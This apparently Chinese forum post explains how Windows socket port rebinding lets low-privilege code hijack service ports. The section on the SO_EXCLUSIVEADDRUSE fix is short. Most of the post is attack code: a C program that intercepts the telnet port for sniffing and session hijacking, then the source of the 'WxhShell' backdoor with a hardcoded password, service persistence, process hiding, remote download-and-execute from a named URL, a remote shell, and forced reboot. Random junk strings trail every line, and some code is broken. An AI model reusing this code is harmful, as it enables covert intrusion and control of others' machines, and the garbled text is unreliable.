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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RtL<hD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B<LavX>F  
+ LwoBn>6  
  saddr.sin_family = AF_INET; D$cMPFa2Nt  
oc(bcU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rd)) H  
*eP4dGe&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @nP}q!y  
o FLrSmY)E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1aE/_  
q UnFEg  
  这意味着什么?意味着可以进行如下的攻击: arP+(1U  
ej;ta Kzj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pJz8e&wyLM  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1l_}O1  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }gW/heUE  
w8 $Qh%J'<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6iG<"{/U5  
ib_Gy77Os  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X6,9D[Nw  
^wa9zs2s;/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <k](s  
0EOX@;}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s%oAsQ_y  
#P#R~b]  
  #include $:[BB ,$  
  #include 0*?XQV@  
  #include yV/ J(  
  #include    SN(=e#ljE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   noA\5&hqW  
  int main() )6&\WNL-x  
  { w<Cmzkf  
  WORD wVersionRequested; rcx;3Vne  
  DWORD ret; S I7B6c  
  WSADATA wsaData; P|4E1O  
  BOOL val; xbC8Amo;8"  
  SOCKADDR_IN saddr; UD2<!a'T  
  SOCKADDR_IN scaddr; +^? -}v  
  int err; 2g6_qsqi  
  SOCKET s; //lZmyP?  
  SOCKET sc; Iv72;ZCh?6  
  int caddsize; 41o!2(e$  
  HANDLE mt; ,6O9#1A&i  
  DWORD tid;   @/~k8M/  
  wVersionRequested = MAKEWORD( 2, 2 ); e6HlOGPVQH  
  err = WSAStartup( wVersionRequested, &wsaData ); tR* W-%  
  if ( err != 0 ) { _]UDmn[C  
  printf("error!WSAStartup failed!\n"); 9*;isMkq<  
  return -1; 4~A#^5J  
  } 6 ]PM!6  
  saddr.sin_family = AF_INET; m5w9l"U]H  
   9K46>_TyH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Cz r4 -#2  
MLBg_<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kA%OF*%|6  
  saddr.sin_port = htons(23); .k`*$1?73x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =9 M|o0aY  
  { +?Jk@lE<  
  printf("error!socket failed!\n"); gAA %x 7  
  return -1; T[h}A"yK;  
  } -\'.JA_  
  val = TRUE; P}9Y8$Y>U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &JhIn%=-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0ITA3v8{  
  { E#$_uZ4  
  printf("error!setsockopt failed!\n"); &n]Z1e}5  
  return -1; rtL9c w5  
  } AKKU-5 B9c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C.eV|rc@T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o|qeh<2=x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U.Chf9a -  
*OOa)P{^D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {0vbC/?]  
  { EO/cW<uV'  
  ret=GetLastError(); RO$ @>vL  
  printf("error!bind failed!\n"); s$>m0^  
  return -1; :+ 9Ft>  
  } R%N#G<^R  
  listen(s,2); V> a3V'  
  while(1) Z"~6yF  
  { ,}IER  
  caddsize = sizeof(scaddr); P}+|`>L  
  //接受连接请求 xUo)_P\_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,rFLpQl  
  if(sc!=INVALID_SOCKET) vg:J#M:  
  { ro&Y7m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M-Z6TL  
  if(mt==NULL) K~Au?\{  
  { r,.95@  
  printf("Thread Creat Failed!\n"); t6bWSz0  
  break; xeYySM=  
  } 2gL[\/s  
  } /ik)4]>  
  CloseHandle(mt); jO&f*rxN  
  } E8iadf49  
  closesocket(s); %<=vbL9  
  WSACleanup(); 9(^X2L&Z  
  return 0; _N,KHxsG8B  
  }   O5TK&j  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0(9I\j5`TT  
  { ~e`;"n@4  
  SOCKET ss = (SOCKET)lpParam;  { 7TJgS  
  SOCKET sc; >b4YbLkI#  
  unsigned char buf[4096]; >OKS/(I0  
  SOCKADDR_IN saddr; v[, v{5b  
  long num; >^T,U0T])  
  DWORD val; |P.  =  
  DWORD ret; F@_Egi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;H y!0n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1RI#kti-"  
  saddr.sin_family = AF_INET; /md Q(Dm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9Nag%o{*S>  
  saddr.sin_port = htons(23); cu479VzPx:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ql#W /x,e  
  { Pzk[^z$C  
  printf("error!socket failed!\n"); MOp=9d+N~  
  return -1; @dE 3  
  } \2gvp6  
  val = 100; r\l3_t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e<L 9k}c  
  { Pa +AF  
  ret = GetLastError(); #"o6OEy$A#  
  return -1; f $.\o  
  } tv@Z 5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DV7<n&P  
  { 6"7:44O;G  
  ret = GetLastError(); (!_X:+0_  
  return -1; s=q%:uCO  
  } sxN>+v11z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c ?p0#3%L#  
  { h=v[i!U-eY  
  printf("error!socket connect failed!\n"); [NCXn>Z  
  closesocket(sc); %;=IMMK  
  closesocket(ss); Imh2~rw;  
  return -1; PUQ_w  
  } =#.8$oa^  
  while(1) %)<oX9E  
  { f\x@ C)E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _o&,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ersr\ZB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (s V]UGrZ  
  num = recv(ss,buf,4096,0); j#LV7@H.e?  
  if(num>0) .fLiXx  
  send(sc,buf,num,0); vy{rwZ$  
  else if(num==0) x%IXwP0  
  break; Eo7 _v  
  num = recv(sc,buf,4096,0); oN&rq6eN  
  if(num>0) q19k<BqR  
  send(ss,buf,num,0); `r~`N`o5A  
  else if(num==0) 8`AcS|k  
  break; 9&[) (On74  
  } Yn IM-  
  closesocket(ss); ~>N`<S   
  closesocket(sc); mc0sdb,c$  
  return 0 ; 1BMV=_  
  } tf$PaA  
~!3t8Hx6  
[0%yJH  
========================================================== NSMjr_  
R (tiIo  
下边附上一个代码,,WXhSHELL :c~9>GCE&  
2_oK 5*j  
========================================================== Zzw}sZ?8  
t5ny"k!  
#include "stdafx.h" lQp89*b?=U  
;S=62_ Un  
#include <stdio.h> m{:"1]  
#include <string.h> ;e#>n!<u  
#include <windows.h> *tTP8ZCQ[  
#include <winsock2.h> u=d`j  
#include <winsvc.h> v5&xY2RI7  
#include <urlmon.h> XJ f+Eh  
1V*8,YiC<  
#pragma comment (lib, "Ws2_32.lib") m6bWmGn GC  
#pragma comment (lib, "urlmon.lib") .KT 7le<Zm  
hV3,^#9o  
#define MAX_USER   100 // 最大客户端连接数 x"(7t3xK  
#define BUF_SOCK   200 // sock buffer WX%h4)z*  
#define KEY_BUFF   255 // 输入 buffer _SMT.lG  
}"%!(rx  
#define REBOOT     0   // 重启 LKK{j,g7  
#define SHUTDOWN   1   // 关机 <_BqpZ^`  
N<L$gw+)$D  
#define DEF_PORT   5000 // 监听端口 c*S#UD+  
5}-)vsa`  
#define REG_LEN     16   // 注册表键长度 4B:\  
#define SVC_LEN     80   // NT服务名长度 &57qjA ,8<  
]6a/0rg:t  
// 从dll定义API ^G|w8t+^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \S=XIf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |uQn|"U4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Jm-2W5J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \ &eY)^vw  
$\0cJCQ3  
// wxhshell配置信息 kdK*MUB  
struct WSCFG { %-h7Z3YcN  
  int ws_port;         // 监听端口 ]yyU)V0Iu  
  char ws_passstr[REG_LEN]; // 口令 ]uBT &  
  int ws_autoins;       // 安装标记, 1=yes 0=no /p"U  
  char ws_regname[REG_LEN]; // 注册表键名 X)FL[RO%q  
  char ws_svcname[REG_LEN]; // 服务名 iyA*J CD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~hS .\h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q6;OS.f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9>A-$a4R>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4u3 \xR?w6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L/qZ ;{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^z[_U}N\}  
2LCc  
}; H/cs_i  
EsT0"{  
// default Wxhshell configuration ggrI>vaw  
struct WSCFG wscfg={DEF_PORT, jG+T.  
    "xuhuanlingzhe", y,'FTP9?  
    1, <h'8w  
    "Wxhshell", #Y;.>mF  
    "Wxhshell", PRMZfYc  
            "WxhShell Service", 21.YO]Et  
    "Wrsky Windows CmdShell Service", ::4"wU3t  
    "Please Input Your Password: ",  K&j' c  
  1, z `\# $  
  "http://www.wrsky.com/wxhshell.exe", rDpe_varA  
  "Wxhshell.exe" f?2zLE>u  
    }; vg+r?4Q3  
X tJswxw`K  
// 消息定义模块 }R`8h&J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zXj>K3M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dj?G.-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <2n'}&F  
char *msg_ws_ext="\n\rExit."; Wl,%&H2S<  
char *msg_ws_end="\n\rQuit."; I 'x$,s  
char *msg_ws_boot="\n\rReboot..."; *}+R{  
char *msg_ws_poff="\n\rShutdown..."; L=d$"Q  
char *msg_ws_down="\n\rSave to "; qv.[k<~a>  
\z2vV +f  
char *msg_ws_err="\n\rErr!"; y' 2<qj  
char *msg_ws_ok="\n\rOK!"; fy9uLl}h  
vad|Rpl  
char ExeFile[MAX_PATH]; iYkRo>3!QX  
int nUser = 0; "EJ\]S]$X  
HANDLE handles[MAX_USER]; OZ eiH X!  
int OsIsNt; S|l&fb n  
 UP\8w#~  
SERVICE_STATUS       serviceStatus; -sP9E|/:'3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [vE$R@TZ0!  
8r5xs-  
// 函数声明 DG_}9M!DW@  
int Install(void); )URwIe{  
int Uninstall(void); g+:$X- r  
int DownloadFile(char *sURL, SOCKET wsh); (:ZPt(1  
int Boot(int flag); EJO.'vQ  
void HideProc(void); 4; ?1Kb#  
int GetOsVer(void); Y3D3.T6Q  
int Wxhshell(SOCKET wsl); D5=C^`$2  
void TalkWithClient(void *cs); fW(;   
int CmdShell(SOCKET sock); fwRGT|":B  
int StartFromService(void); 0rV/qMo;K  
int StartWxhshell(LPSTR lpCmdLine); *^n^nnCwp  
:RPVT,O}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #g,H("Qy({  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AzZi{Q ?  
bSQ_"  
// 数据结构和表定义 Lt>?y& CcQ  
SERVICE_TABLE_ENTRY DispatchTable[] = "K 8nxnq  
{ P<8LAc$T  
{wscfg.ws_svcname, NTServiceMain}, yxqTm%?y  
{NULL, NULL} wyp{KIV  
}; MY&<)|v\  
TV<Aj"xw  
// 自我安装 pH^ z  
int Install(void) c qv .dC  
{ L%f-L.9`u  
  char svExeFile[MAX_PATH]; P;jlHZ9?O  
  HKEY key; y*_K=}pk  
  strcpy(svExeFile,ExeFile); %?@x]B9Y8E  
=1O?jrl~q  
// 如果是win9x系统,修改注册表设为自启动 VZ;@S3TS  
if(!OsIsNt) { O)l%OOv   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %j%%Rn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bS,etd  
  RegCloseKey(key); Ec+22X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?.8<-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dZF8 R  
  RegCloseKey(key); 'HCnB]1  
  return 0; ^<!Ia  
    } 5qGGu.$Ihi  
  } ehU"*9  
} anLbl#UV  
else { Q< dba12  
*JwFD^<j  
// 如果是NT以上系统,安装为系统服务 vnDmFqelz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4yhcK&  
if (schSCManager!=0) O(odNQy~  
{ :sFo  
  SC_HANDLE schService = CreateService &ryiG  
  ( 0"4J"q]&  
  schSCManager, 5H~@^!7t  
  wscfg.ws_svcname, >;m{{nj  
  wscfg.ws_svcdisp, (:JjQ`i  
  SERVICE_ALL_ACCESS, )q^(T1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Qt~K#mr/  
  SERVICE_AUTO_START, iW'_R{)T  
  SERVICE_ERROR_NORMAL, 3zbXAR*  
  svExeFile, v C^>p5F  
  NULL, ATo}FL 2  
  NULL, ci;&CHa  
  NULL, -7&?@M,u  
  NULL, Ny]lvgu9X  
  NULL r-*l1([eW  
  ); Bf/ |{@  
  if (schService!=0) gUspGsfr  
  { nVNs][  
  CloseServiceHandle(schService); @Zj& `/  
  CloseServiceHandle(schSCManager); pVY4q0@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D]jkR} t  
  strcat(svExeFile,wscfg.ws_svcname); Jlz9E|*qV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]/a g*F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,?I(/jI  
  RegCloseKey(key); ("b*? : B  
  return 0; %Or2iuO%-,  
    } yk`)Cq%=;  
  } 3\]~!;dI  
  CloseServiceHandle(schSCManager); XYMxG:  
} FQ1arUOFW,  
} C]M7GHe1q  
&"xQ~05  
return 1; SijS5irfk  
} $ND90my  
Q]^Yi1PbS  
// 自我卸载 <;aJ#qT  
int Uninstall(void) LGAX"/LX  
{ A4}#U=3tI  
  HKEY key; .ByU  
K0LbZMn,/  
if(!OsIsNt) { QsM*wT&aa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A=0@UqM  
  RegDeleteValue(key,wscfg.ws_regname); 4aA9\\hfGY  
  RegCloseKey(key); *N`;I@Q"[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a/:]"`)  
  RegDeleteValue(key,wscfg.ws_regname); 1c / X  
  RegCloseKey(key); K|Om5 p  
  return 0; C>NQ-w^  
  } oikxg!0S  
} D@:"f?K>  
} t|<FA#  
else { q#jEv-j.  
my4\mi6P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S{- f $Q*  
if (schSCManager!=0) tGC2 ^a#~  
{ Tn /Ut}]O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 22|"K**3J|  
  if (schService!=0) >J>>\Y(p  
  { lAz2%s{6  
  if(DeleteService(schService)!=0) { YroNpu]s  
  CloseServiceHandle(schService); .x>HA^4  
  CloseServiceHandle(schSCManager); g1ytT%]  
  return 0; dGU8+)2cn  
  } K0v.3  
  CloseServiceHandle(schService); TqAtcAurM  
  } (U_wp's  
  CloseServiceHandle(schSCManager); ]H>+m 9  
} h mds(lv7  
} SYeE) mI  
`2,a(Sk#  
return 1; LZ4xfB (  
} oE6|Zw  
Fav^^vf*1  
// 从指定url下载文件 }s(C^0x  
int DownloadFile(char *sURL, SOCKET wsh) 8ZW?|-i  
{ zWb -pF|  
  HRESULT hr; JdO)YlM-  
char seps[]= "/"; X5 j=C]  
char *token; P2t_T'R}  
char *file; E0<)oQ0Xa>  
char myURL[MAX_PATH]; "ee'2O  
char myFILE[MAX_PATH]; zA,/@/'(  
aLYLd/ KV  
strcpy(myURL,sURL); 'g~@"9'oe  
  token=strtok(myURL,seps);   Y<aO  
  while(token!=NULL) o)p[ C   
  { dl_{iMhF&E  
    file=token; u0g*O]Y  
  token=strtok(NULL,seps); %Lyz_2q A  
  } 1|]xo3j"'  
dqxd3,Z  
GetCurrentDirectory(MAX_PATH,myFILE); ,z G(u 1  
strcat(myFILE, "\\"); %<AS?Ry  
strcat(myFILE, file); _[F@1NJ  
  send(wsh,myFILE,strlen(myFILE),0); Qm; BUG]  
send(wsh,"...",3,0); 7OE[RX8!f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wA631kr  
  if(hr==S_OK) VXwPdMy*L  
return 0; rd">JEK;;  
else rw]yKH  
return 1; XGhwrI^  
xHe^"LL  
}  VGB-h'  
VKNp,Lf  
// 系统电源模块 QLn+R(r  
int Boot(int flag) a*s\Em7f  
{ 4\HsU9x  
  HANDLE hToken; Z(`r-}f I  
  TOKEN_PRIVILEGES tkp; rn H}#u+  
rH.gF43O:  
  if(OsIsNt) { 6rT4iC3Q{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _Z.cMYN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D^|7#b,zcH  
    tkp.PrivilegeCount = 1; G5;V.#"Z[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LN\[Tmd &  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;y OD  
if(flag==REBOOT) { M J\r 4n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +sRP<as  
  return 0; `s%QeAde  
} .it2NS  
else { 'in@9XO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kW +G1|  
  return 0; ).Gd1pE  
} O_AGMW/2+  
  } <sc\EK  
  else { h R~v  
if(flag==REBOOT) { @hsbq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JhJLqb@q  
  return 0; $_FZn'Db6  
} rVcBl4&1*g  
else { np=kTJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `iQqhx  
  return 0; wVE:X3Ei  
} M~p=#V1D  
} (Q_2ODKo  
K$ AB} Fvc  
return 1; 1`QsW&9=b  
} LABNj{=D!  
:Y^I]`lR"  
// win9x进程隐藏模块 ]u0Jd#@  
void HideProc(void) PQ3h\CL1n  
{ dyO E6Ex  
s:b" \7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c3#q0Ma  
  if ( hKernel != NULL ) \8>oJR 6  
  { 6c &Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yf= FeH7"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h)@InYwu7  
    FreeLibrary(hKernel); J=9#mOcg"  
  } R04J3D|  
>0T Za  
return; SX_4=^  
} H(&Z:{L  
Q6x%  
// 获取操作系统版本 [O 1|75  
int GetOsVer(void) CKd3w8;  
{ (tKMBxQo8  
  OSVERSIONINFO winfo; + Kk@Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u|OtKq  
  GetVersionEx(&winfo); :1MM a6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hDvpOIUL1  
  return 1; GO~k '  
  else gl "_:atW  
  return 0; " '[hr$h3  
} }dKLMNqPA  
%Rarr  
// 客户端句柄模块 l"5y?jT  
int Wxhshell(SOCKET wsl) */_@a?  
{ eM }W6vIn  
  SOCKET wsh; 8[R1A  
  struct sockaddr_in client; m8AAp1=  
  DWORD myID; ve-8*Xa  
$20s]ywS  
  while(nUser<MAX_USER) ~-<:+9m  
{ EY$?^iS  
  int nSize=sizeof(client); DY.58IHg1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LM6]kll  
  if(wsh==INVALID_SOCKET) return 1; u E.^w;~2=  
+>#e=nH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9|3o<  
if(handles[nUser]==0) Z Xb}R^O-  
  closesocket(wsh); Y|RdzC M  
else |X3">U +-  
  nUser++; On%,l  
  } )E-E0Hl>7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YxyG\J\|,  
ANb"oX c  
  return 0; N9`97;.X  
} }p{;^B  
*8UYSA~v  
// 关闭 socket yoU2AMH2D^  
void CloseIt(SOCKET wsh) 1R^4C8*B  
{ @ef$b?wg  
closesocket(wsh); RH~sbnZ)F  
nUser--; Nb1J ~v  
ExitThread(0); oyW00]ka  
} &^+3er rO  
u`6/I#q`  
// 客户端请求句柄  i6 L  
void TalkWithClient(void *cs) >BJ}U_ck  
{ |D<+X^0'  
*l-`<.  
  SOCKET wsh=(SOCKET)cs; m^A]+G#/  
  char pwd[SVC_LEN]; )Mi'(C;  
  char cmd[KEY_BUFF]; n$W"=Z;`  
char chr[1]; jsdBd2Gdc  
int i,j;  2d~LNy  
F.0d4:A+  
  while (nUser < MAX_USER) { VVLIeJ(*XT  
H"D 5 e  
if(wscfg.ws_passstr) { N7pt:G2~%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?K<Z kYw?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "mt p0  
  //ZeroMemory(pwd,KEY_BUFF); fYn{QS?  
      i=0; Q S;F+cmTh  
  while(i<SVC_LEN) { B{PLIisc  
9P0yv3  
  // 设置超时  f`J|>Vk  
  fd_set FdRead; g}r^Xzd;  
  struct timeval TimeOut; Snx<]|  
  FD_ZERO(&FdRead);  #>bT<  
  FD_SET(wsh,&FdRead); @/(@/*+"  
  TimeOut.tv_sec=8; LzE/g)>  
  TimeOut.tv_usec=0; $iHoOYx]<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZqP7@fO_%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #TATqzA  
j{"[Ec  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Z~`e]>  
  pwd=chr[0]; J#(,0h  
  if(chr[0]==0xd || chr[0]==0xa) { _.=`>%,  
  pwd=0; [TEcg^  
  break; Z(UD9wY5m  
  } 4|F#gK5E  
  i++; 8 }z3CuM  
    } 4 l1 i>_R  
@G(xaU'u  
  // 如果是非法用户,关闭 socket JCcQd 01z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {,Fcd(MU  
} r{Z[xWIX  
SB1[jcJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]>vf9]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6ZOAmH fs  
T<M?PlED  
while(1) { AsAFUuI  
n.Vtc-yZU  
  ZeroMemory(cmd,KEY_BUFF); "*bk{)dz}  
bP03G =`6w  
      // 自动支持客户端 telnet标准   lC2?sD$  
  j=0; P}l#VJWp  
  while(j<KEY_BUFF) { _uJVuCc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Aqu]9M~  
  cmd[j]=chr[0]; ]738Z/)^  
  if(chr[0]==0xa || chr[0]==0xd) { 3cHtf  
  cmd[j]=0; uP Rl[tS0  
  break; ngLJ@TP-  
  } +;6)  
  j++; cUsL 6y  
    } 8T7f[?  
G h=<0WaF=  
  // 下载文件 ?} X}#  
  if(strstr(cmd,"http://")) { kXEtuO5FUM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B0"0_n7-  
  if(DownloadFile(cmd,wsh)) HT&p{7kFm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $l#{_~ "m7  
  else '%ebcL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Efvq?cG&  
  } CrO`=\  
  else { ]hKgA~;  
]4GZ'&m}  
    switch(cmd[0]) { obYn&\6  
  KK$ a;/  
  // 帮助 [ t$AavU.  
  case '?': { 4(8<w cL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FW5}oD( H  
    break; /W0E(8:C)  
  } =%L@WVbM  
  // 安装 9#fp_G;=  
  case 'i': { [,GU5,o  
    if(Install()) b"&E,=L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `[bJYZBc2  
    else (Z 8,e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lvx]jd\  
    break; c>rKgx  
    } \kyM}5G(<0  
  // 卸载 Vpw[B.v  
  case 'r': { 5Edo%Hd6  
    if(Uninstall()) -)6;0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "8?TSm8  
    else q- H&5K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y-= /,   
    break; -~} tq]  
    } D>Ua#<52q  
  // 显示 wxhshell 所在路径 |mvM@V;^8{  
  case 'p': { UFIjW[h  
    char svExeFile[MAX_PATH]; Uh%6LPg^  
    strcpy(svExeFile,"\n\r"); ]'e A O  
      strcat(svExeFile,ExeFile); KD=bkZ&  
        send(wsh,svExeFile,strlen(svExeFile),0); iU XM( ]  
    break; >+SZd7p  
    } 9 R  
  // 重启 aH  
  case 'b': { kJ__:rS(T_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hm6pxFkX_  
    if(Boot(REBOOT)) 'mUI-1GkT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4@mso+tk  
    else { j6}$+!E  
    closesocket(wsh); ~M; gM]r;  
    ExitThread(0); s{B_N/^  
    } Wxc^_iqA1  
    break; h&P {p _Y  
    } 4a?r` '  
  // 关机 Gn[*?=Vy  
  case 'd': { XR<G} x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hRLKb}  
